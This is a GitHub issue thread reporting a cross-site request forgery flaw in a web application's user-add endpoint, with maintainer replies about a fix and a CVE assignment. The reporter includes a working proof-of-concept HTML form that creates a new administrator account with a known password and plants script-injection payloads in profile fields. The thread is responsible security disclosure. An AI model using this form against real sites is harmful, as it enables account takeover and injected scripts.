Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can add the administrator account #285

Closed
hkzj opened this issue Aug 9, 2018 · 3 comments
Closed

There is a CSRF vulnerability that can add the administrator account #285

hkzj opened this issue Aug 9, 2018 · 3 comments

Comments

@hkzj
Copy link

hkzj commented Aug 9, 2018

After the administrator logged in, open the following page
poc:
csrf.html---add a admin

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.98.59/user/add" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="email" value="test&#64;qq&#46;com" />
      <input type="hidden" name="password" value="admin123" />
      <input type="hidden" name="verify&#95;pass" value="admin123" />
      <input type="hidden" name="type" value="admin" />
      <input type="hidden" name="company" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="title" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="website" value="" />
      <input type="hidden" name="photo" value="" />
      <input type="hidden" name="about" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="fax" value="" />
      <input type="hidden" name="address" value="" />
      <input type="hidden" name="address2" value="" />
      <input type="hidden" name="city" value="" />
      <input type="hidden" name="state" value="" />
      <input type="hidden" name="country" value="" />
      <input type="hidden" name="zip" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

@lux
Copy link
Collaborator

lux commented Aug 24, 2018

Hi, thanks for reporting this! I just pushed a commit that fixes this here, but I haven't pushed an update out yet because I want to go through to make sure there aren't others first.

@jbroadway
Copy link
Owner

Just pushed update 2.0.5 that fixes this. Thanks again for reporting it!

@fgeek
Copy link

fgeek commented Sep 9, 2018

CVE-2018-16387 has been assigned for this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants